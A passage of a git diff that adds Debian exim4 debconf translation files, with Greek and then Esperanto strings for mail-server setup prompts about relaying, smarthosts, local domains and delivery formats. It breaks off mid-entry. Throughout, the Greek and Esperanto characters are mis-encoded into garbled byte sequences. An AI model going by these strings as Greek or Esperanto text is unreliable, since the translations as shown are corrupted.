γÏαμμÎÏ‚ From: των εξεÏχόμενων " +"μηνυμάτων αν Îχετε ενεÏγοποιήσει την επανεγγÏαφή." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Άλλοι Ï€ÏοοÏισμοί για τους οποίους γίνεται δεκτή η αλληλογÏαφία:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"ΠαÏακαλώ εισάγετε μια λίστα ονομάτων τομÎων για αποδÎκτες αλληλογÏαφίας, " +"χωÏισμÎνων με εÏωτηματικά, για τους οποίους το σÏστημα αυτό θα θεωÏεί τον " +"εαυτό του σαν τελικό Ï€ÏοοÏισμό. Αυτοί οι τομείς ονομάζονται συνήθως 'τοπικοί " +"τομείς'. Το όνομα του Ï„Î¿Ï€Î¹ÎºÎ¿Ï ÏƒÏ…ÏƒÏ„Î®Î¼Î±Ï„Î¿Ï‚ (${fqdn}) και το 'localhost' " +"Ï€Ïοστίθενται πάντα στη λίστα που θα δοθεί εδώ." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Η Ï€ÏοκαθοÏισμÎνη επιλογή είναι όλοι οι τοπικοί τομείς να αντιμετωπίζονται με " +"τον ίδιο Ï„Ïόπο (Ï€ÏοκαθοÏισμÎνη ÏÏθμιση), αν θÎλετε ιδιαίτεÏη μεταχείÏιση για " +"κάποιο τομÎα δικτÏου, θα Ï€ÏÎπει να επεξεÏγαστείτε τα αÏχεία Ïυθμίσεων εκ των " +"υστÎÏων." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "ΑναδÏομολόγηση αλληλογÏαφίας για τους τομείς:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"ΠαÏακαλώ εισάγετε μια λίστα από τομείς δικτÏου που δÎχονται αλληλογÏαφία, " +"χωÏισμÎνων από εÏωτηματικά, για τους οποίους αυτό το σÏστημα θα " +"επαναδÏομολογεί αλληλογÏαφία, για παÏάδειγμα σαν μια Ï€Ïλη αλληλογÏαφίας ή " +"σαν εφεδÏικό σÏστημα MX. Αυτό σημαίνει ότι το παÏόν σÏστημα θα δÎχεται " +"αλληλογÏαφία γι' αυτοÏÏ‚ τους τομείς δικτÏου από οπουδήποτε στο Διαδίκτυο και " +"θα την παÏαδίδει σÏμφωνα με τους κανόνες τοπικής παÏάδοσης αλληλογÏαφίας." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Μην αναφÎÏετε εδώ τοπικοÏÏ‚ τομείς δικτÏου. ΜποÏοÏν να χÏησιμοποιηθοÏν " +"κανονικÎÏ‚ εκφÏάσεις (wildcards)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "ΥπολογιστÎÏ‚ για τους οποίους θα αναδÏομολογείται η αλληλογÏαφία:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"ΠαÏακαλώ εισάγετε μια λίστα από εÏÏη διευθÏνσεων IP, χωÏισμÎνων με " +"εÏωτηματικά, για τις οποίες το παÏόν σÏστημα θα αναδÏομολογεί χωÏίς " +"πεÏιοÏισμοÏÏ‚ αλληλογÏαφία, λειτουÏγώντας σαν smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Θα Ï€ÏÎπει να χÏησιμοποιήσετε την κανονική μοÏφή διεÏθυνσης/μάσκας (Ï€.χ. " +"194.222.242.0/24 ή 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Αν το παÏόν σÏστημα δεν είναι Îνας smarthost για οποιοδήποτε άλλο σÏστημα, " +"αφήστε αυτή την λίστα κενή." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Εμφανιζόμενος ΤομÎας δικτÏου για τους τοπικοÏÏ‚ χÏήστες:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Ήταν ενεÏγοποιημÎνη η επιλογή της απόκÏυψης του ονόματος τοπικής " +"αλληλογÏαφίας για την εξεÏχόμενη αλληλογÏαφία. Είναι επομÎνως απαÏαίτητο να " +"Ï€ÏοσδιοÏίσετε το όνομα τομÎα δικτÏου που το παÏόν σÏστημα θα χÏησιμοποιεί " +"σαν το αντίστοιχο κομμάτι στις διευθÏνσεις αποστολής των τοπικών χÏηστών." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" +"ΔιεÏθυνση IP ή όνομα συστήματος του smarthost εξεÏχόμενης αλληλογÏαφίας:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ΠαÏακαλώ εισάγετε την διεÏθυνση IP ή το όνομα συστήματος ενός εξυπηÏετητή " +"αλληλογÏαφίας που το παÏόν σÏστημα θα χÏησιμοποιεί σαν Îναν smarthost " +"εξεÏχόμενης αλληλογÏαφίας. Αν ο smarthost δÎχεται την αλληλογÏαφίας σας μόνο " +"σε μια θÏÏα διαφοÏετική από την TCP/25, Ï€ÏοσθÎστε στο Ï„Îλος δυο άνω-κάτω " +"τελείες και τον αÏιθμό της θÏÏας (για παÏάδειγμα smarthost.example::587 or " +"192.168.254.254::2525). Οι άνω-κάτω τελείες θα Ï€ÏÎπει να διπλασιαστοÏν για " +"διευθÏνσεις IPv6." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Αν ο smarthost απαιτεί αυθεντικοποίηση, παÏακαλώ αναφεÏθείτε στα αÏχεία " +"README ειδικά για το Debian στον κατάλογο /usr/share/doc/exim4-base για " +"σημειώσεις σχετικά με την ÏÏθμιση αυθεντικοποίησης για το Ï€Ïωτόκολλο SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "ΠαÏαλήπτης αλληλογÏαφίας του χÏήστη root και του postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"ΑλληλογÏαφία για τους χÏήστες 'postmaster', 'root' και άλλους λογαÏιασμοÏÏ‚ " +"του συστήματος θα Ï€ÏÎπει να ανακατευθÏνεται στον λογαÏιασμό χÏήστη του " +"Ï€ÏÎ±Î³Î¼Î±Ï„Î¹ÎºÎ¿Ï Î´Î¹Î±Ï‡ÎµÎ¹Ïιστή του συστήματος." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Αν αυτή η τιμή παÏαμείνει κενή, αυτή η αλληλογÏαφία θα σώζεται στον " +"κατάλογο /var/mail/mail, κάτι που δεν συνίσταται." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Σημειώστε ότι η αλληλογÏαφία του χÏήστη postmaster θα Ï€ÏÎπει να διαβάζεται " +"στο σÏστημα στο οποίο απευθÏνεται, παÏά να Ï€Ïοωθείται αλλοÏ, επομÎνως " +"(τουλάχιστον Îνας) από τους χÏήστες που παÏατίθενται εδώ δεν θα Ï€ÏÎπει να " +"αναδÏομολογεί την αλληλογÏαφία του Îξω από το παÏόν μηχάνημα. Το Ï€Ïόθεμα " +"'real-' μποÏεί να χÏησιμοποιηθεί για την επιβολή της τοπικής παÏάδοσης της " +"αλληλογÏαφίας." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Ονόματα πολλαπλών χÏηστών θα Ï€ÏÎπει να διαχωÏίζονται με κενά." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "ΔιευθÏνσεις IP στις οποίες θα αναμÎνονται εισεÏχόμενες συνδÎσεις SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"ΠαÏακαλώ εισάγετε μια λίστα με διαχωÏισμÎνες από άνω και κάτω τελείες " +"διευθÏνσεις IP. Ο δαίμονας SMTP του Exim θα ακοÏει σε όλες τις διευθÏνσεις " +"IP που αναγÏάφονται σ' αυτή τη λίστα." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Μια κενή τιμή θα Îχει σαν αποτÎλεσμα το Exim να ακοÏει για συνδÎσεις σε " +"όλες τις διαθÎσιμες δικτυακÎÏ‚ διεπαφÎÏ‚ (interfaces)." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Αν το παÏόν σÏστημα δÎχεται αλληλογÏαφία μόνο άμεσα από τοπικÎÏ‚ υπηÏεσίες " +"(και όχι από άλλα συστήματα), ενδείκνυται η απαγόÏευση εξωτεÏικών συνδÎσεων " +"στον τοπικό δαίμονα Exim. ΤÎτοιες υπηÏεσίες πεÏιλαμβάνουν Ï€ÏογÏάμματα " +"αλληλογÏαφίας (MUA) που επικοινωνοÏν μόνο με τον localhost καθώς και το " +"fetchmail. ΣυνδÎσεις από Îξω είναι αδÏνατες αν εισάγετε εδώ την διεÏθυνση " +"127.0.0.1,καθώς αυτό θα απενεÏγοποιήσει την δυνατότητα \"ακÏόασης\" των " +"δημόσιων δικτυακών διεπαφών." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Ελάχιστος αÏιθμός επεÏωτήσεων DNS (για σÏνδεση κατ' απαίτηση);" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Σε κανονική λειτουÏγία το Exim Ï€Ïαγματοποιεί επεÏωτήσεις DNS κατά την " +"εκκίνησή του, καθώς και κατά την λήψη και παÏάδοση των μηνυμάτων. Αυτό " +"γίνεται για λόγους καταγÏαφής και επιτÏÎπει τη διατήÏηση όσον το δυνατόν " +"λιγότεÏων hard-coded τιμών στο αÏχείο Ïυθμίσεων.." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Αν το σÏστημα δεν Îχει στη διάθεσή του Îνα σÏστημα πλήÏους υπηÏεσίας " +"ονοματοδοσίας DNS σε κάθε στιγμή (για παÏάδειγμα αν η Ï€Ïόσβασή του στο " +"Διαδίκτυο είναι μÎσω μιας γÏαμμής dial-up με χÏήση dial-on-demand), αυτό " +"μποÏεί να Îχει ανεπιθÏμητες συνÎπειες. Για παÏάδειγμα. ξεκινώντας τον " +"εξυπηÏετητή Exim ή Ï„ÏÎχοντας την παÏάδοση των μηνυμάτων που είναι στην ουÏά " +"(ακόμα και αν δεν υπάÏχουν μηνÏματα σε αναμονή) μποÏεί να Ï€ÏοκαλÎσει την " +"Ï€Ïαγματοποίηση κοστοβόÏων Ï€Ïοσπαθειών σÏνδεσης dial-up." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Αυτή η επιλογή θα Ï€ÏÎπει να γίνει αν το σÏστημα χÏησιμοποιεί Dial-on-Demand. " +"Αν Îχει συνεχή Ï€Ïόσβαση στο Διαδίκτυο, η επιλογή αυτή θα Ï€ÏÎπει να " +"απενεÏγοποιηθεί." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ΡÏθμισης εξυπηÏετητή αλληλογÏαφίας" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Îα διασπαστοÏν οι Ïυθμίσεις σε μικÏότεÏα αÏχεία;" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Τα πακÎτα του exim4 στο Debian μποÏοÏν να χÏησιμοποιήσουν είτε μια " +"'ενιαία' ('unsplit') ÏÏθμιση, δηλ. Îνα μοναδικό μονολιθικό αÏχείο (/etc/" +"exim4/exim4.conf.template) ή μια ÏÏθμιση 'τμηματική' ('split') ÏÏθμιση, όπου " +"τα Ï€Ïαγματικά αÏχεία Ïυθμίσεων του Exim σχηματίζονται από πεÏίπου 50 " +"μικÏότεÏα αÏχεία στον κατάλογο /etc/exim4/conf.d." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Ο Ï€Ïώτος Ï„Ïόπος \"ενιαίας\" (unsplit) ÏÏθμισης είναι καταλληλότεÏος για " +"Ï„Ïοποποιήσεις μεγάλης Îκτασης και είναι γενικά πιο σταθεÏός, ενώ ο δεÏτεÏος " +"της \"τμηματικής\" (split) ÏÏθμισης Ï€ÏοσφÎÏει Îναν μιο άνετο Ï„Ïόπο να " +"γίνονται μικÏότεÏες Ï„Ïοποποιήσεις αλλά είναι γενικά πιο εÏθÏαυστος και " +"πιθανόν να γίνει μη λειτουÏγικός αν μεταβάλλεται χωÏίς Ï€Ïοσοχή." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Μια πιο λεπτομεÏειακή συζήτηση για την 'τμηματική' ('split') και την " +"'ενιαία' ('unsplit') ÏÏθμιση μποÏεί να βÏεθεί στα αÏχεία README ειδικά για " +"το Debian στον κατάλογο /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Îα αποκÏÏπτεται το όνομα στην εξεÏχόμενη αλληλογÏαφία;" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Οι κεφαλίδες της εξεÏχόμενης αλληλογÏαφίας μποÏοÏν να επανεγγÏάφονται ώστε " +"να εμφανίζονται σαν να Îχουν δημιουÏγηθεί σε κάποιο άλλο σÏστημα. Αν κάνετε " +"αυτή την επιλογή, τα πεδία '${mailname}', 'localhost' και " +"'${dc_other_hostnames}' στις κεφαλίδες From, Reply-To, Sender και Return-" +"Path επανεγγÏάφονται." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "ΤÏπος mbox στο /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "ΤÏπος Maildir στον Ï€Ïοσωπικό κατάλογο" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "ÎœÎθοδος παÏάδοσης για την τοπική αλληλογÏαφία:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Το Exim Îχει την ικανότητα να αποθηκεÏει τοπικά την αλληλογÏαφία που Îχει " +"παÏαδοθεί με διαφοÏετικοÏÏ‚ Ï„Ïπους. Οι πιο κοινά χÏησιμοποιοÏμενοι είναι οι " +"mbox και Maildir. Ο Ï„Ïπος mbox χÏησιμοποιεί Îνα μοναδικό αÏχείο για ολόκληÏο " +"τον κατάλογο αλληλογÏαφίας αποθηκευμÎνο στον κατάλογο /var/mail. Με τον Ï„Ïπο " +"Maildir κάθε ξεχωÏιστό μήνυμα αποθηκεÏεται σε Îνα ξεχωÏιστό αÏχείο στον " +"κατάλογο ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"ΠαÏακαλώ σημειώστε ότι τα πεÏισσότεÏα εÏγαλεία αλληλογÏαφίας στο Debian " +"πεÏιμÎνουν στις Ï€ÏοεπιλογÎÏ‚ τους ότι μÎθοδος για την τοπική παÏάδοση της " +"αλληλογÏαφίας είναι Ï„Ïπου mbox." diff --git a/debian/po/eo.po b/debian/po/eo.po new file mode 100644 index 0000000..f04aa3f --- /dev/null +++ b/debian/po/eo.po @@ -0,0 +1,631 @@ +# translation of eo.po to Esperanto +# Esperanto messages for debian-installer. +# Copyright (C) 2006 Software in the Public Interest, Inc. +# This file is distributed under the same license as debian-installer. +# +# Serge Leblanc <serge.leblanc@wanadoo.fr>, 2006-2007. +# Felipe Castro <fefcas@gmail.com>, 2008. +msgid "" +msgstr "" +"Project-Id-Version: exim4-config\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-03-20 16:06+0100\n" +"Last-Translator: Felipe Castro <fefcas@gmail.com>\n" +"Language-Team: Esperanto <debian-l10n-esperanto@lists.debian.org>\n" +"Language: eo\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ĉu forviÅi ne disdonitajn mesaÄojn el la bufra dosierujo 'spool'?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ekzistas retpoÅtaj mesaÄoj en la bufra dosierujo '/var/spool/exim4/input' " +"kiuj ne estis disdonitaj. Se vi forviÅos la programon 'Exim', ili ne estos " +"disdonitaj, Äis kiam 'Exim' estu re-instalita." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Se vi ne elektas ĉi tiun opcion, la dosierujo 'spool' estos tenita. Tio " +"ebligos disdoni la vicigitajn atendantajn retmesaÄojn post la reinstalado de " +"'Exim'." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Reakomodi la pakon 'exim4-config' anstataÅ tiun ĉi pakon" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"La akomodado de 'Exim4' estas mastrumata per specifa pako, 'exim4-config'. " +"Por reakomodi la pakon 'Exim4', uzu la komandon 'dpkg-reconfigure exim4-" +"config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "interreta ejo; retpoÅto estas sendata kaj ricevata rekte per 'SMTP'" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "sendo per lertservilo; ricevo per 'SMTP' aÅ 'fetchmail'" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "sendo per lertservilo; neniu loka retmesaÄo" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "nur loka livero; ne rete" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "neniu agordo nune" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Äœenerala tipo de retpoÅta agordado:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Bonvolu elekti la retpoÅtservilan agordon, kiu plej kongruas al viaj bezonoj." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemoj kiuj uzas dinamikajn 'IP'-adresojn, inkluzive la pertelefonaj " +"sistemoj, Äenerale devas esti akomoditaj por sendi elirajn retmesaÄojn per " +"relajsa 'smarthost'-lertservilo. Ĉar multaj ricevantaj sistemoj blokas " +"retmesaÄojn kiuj estas senditaj de 'IP'-dinamikaj sistemoj (pro spam-" +"protektado)." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"'IP'-dinamikadresa sistemo povas ricevi siajn proprajn retmesaÄojn , aÅ loka " +"livero povas esti tute malaktivigita (krom retmesaÄoj al ĉefuzanto kaj al " +"poÅtestro)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ĉu vi vere lasos neakomodita la retpoÅtan servilon?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Äœis kiam via retpoÅtilo estu akomodita, Äi misfunkcios kaj ne estos uzebla. " +"Vi povos poste akomodi Äin permane aÅ per plenumo de la komando 'dpkg-" +"reconfigure exim4-config', kiel ĉefuzanto." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Nomo de la retpoÅtservilo:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"La nomo 'mail name' estas la domajna nomo uzata por 'kvalifiki' " +"retpoÅtadresojn sen domajna nomo." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Tiu nomo ankaÅ estos uzata de aliaj programoj. Äœi devas kongrui kun unika " +"tutkvalifikita domajno-nomo ('FQDN')." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Ekzemple, se loka retpoÅtadreso estus \"ajn@ekzemplo.org\", la Äusta valoro " +"por ĉi tiu opcio estus \"ekzemplo.org\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Tiu nomo ne aperos en la kaplinioj 'De:' en elirantaj retleteroj se vi " +"aktivigas reskribadon." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Aliaj celoj por kiuj retmesaÄoj estas akceptitaj:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Bonvolu enmeti punktokome interspacigitan liston da domajnoj por kiuj ĉi tiu " +"maÅino devus konsideri sin la fina celo. Tiuj domajnoj estas kutime nomitaj " +"'lokaj domajnoj'. La loka gastnomo (${fqdn}) kaj 'localhost' estas ĉiam " +"aldonitaj al la listo difinita ĉi tie." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Implicite, ĉiuj lokaj domajnoj estos same traktitaj. Se ambaÅ 'a.ekzemplo' " +"kaj 'b.ekzemplo' estas lokaj domajnoj, 'acc@a.ekzemplo' kaj 'acc@b.ekzemplo' " +"estos distribuitaj al la sama ricevanto. Se vi volas trakti malsamajn " +"domajno-nomojn malsame, vi devos poste redakti la agordajn dosierojn." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Relajsotaj domajnoj:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Bonvolu indiki punktokome interspacigitan liston da domajnoj por kiuj tiu ĉi " +"maÅino relajsos mesaÄojn (ekzemple kiel alternativa 'MX'-servilo aÅ mesaÄa " +"interpasilo). Tio signifas ke la retmesaÄoj celontaj tiujn domajnojn estos " +"akceptitaj de ie ajn el Interreto, kaj ili estos distribuitaj laÅ lokaj " +"reguloj." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ne indiku lokajn domajnojn tie ĉi. Vi povos uzi ĵokerojn." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Relajsotaj maÅinoj:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as 